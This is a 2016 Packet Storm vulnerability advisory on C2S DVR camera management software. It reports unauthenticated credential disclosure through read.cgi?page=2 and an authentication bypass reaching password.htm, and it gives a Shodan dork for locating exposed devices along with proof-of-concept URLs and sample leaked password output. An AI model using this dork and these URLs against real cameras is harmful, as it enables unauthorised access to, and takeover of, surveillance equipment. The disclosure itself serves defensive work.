C2S DVR Management Credential Disclosure / Authentication Bypass

2016-08-20T00:00:00
ID PACKETSTORM:138449
Type packetstorm
Reporter Yakir Wizman
Modified 2016-08-20T00:00:00

Description

                                        
                                            `1. Advisory Information  
========================================  
Title : C2S DVR Management Remote Credentials Disclosure & Authentication Bypass  
Vendor Homepage : http://www.cash2s.com/en/  
Remotely Exploitable : Yes  
Tested on Camera types : IRDOME-II-C2S, IRBOX-II-C2S, DVR  
Vulnerabilities : Credentials Disclosure  
+ : Authentication bypass  
Date : 19/08/2016  
Shodan Dork : html:write.cgi "Content-length: 2676"  
Author : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)  
  
  
2. CREDIT  
========================================  
This vulnerability was identified during penetration test by Yakir Wizman.  
  
  
3. Description  
========================================  
C2S DVR allows to unauthenticated user disclose the username & password remotely by simple request to the server page 'read.cgi?page=2' which can be made by browser or burp/fiddler.  
Moreover, an attacker could easily access to password change page without any authentication, thats happen cuase the web application does not perform any session management.  
  
  
4. Proof-of-Concept:  
========================================  
Remote Credentials Disclosure:  
-----------------------------------------------  
Simply go to the following url to read the credentials:  
http://host:port/cgi-bin/read.cgi?page=2  
  
Should return some javascript variable which contain the credentials and other configuration vars:  
  
var pw_enflag = "1";  
var pw_adminpw = "12345";  
var pw_retype1 = "12345";  
var pw_userpw = "56789";  
var pw_retype2 = "56789";  
var pw_autolock = "0";  
  
  
Login @ http://host:port/  
-----------------------------------------------  
  
  
Authentication Bypass:  
-----------------------------------------------  
The application does not require a valid session for any page on the server, for example you can access to 'password.htm' which allows you to change/disclose the admin password with just a few clicks.  
  
http://host:port/password.htm?parm1=&parm2=1  
  
  
  
5. SOLUTION  
========================================  
Contact the vendor for further information regarding the proper mitigation of this vulnerability.  
  
`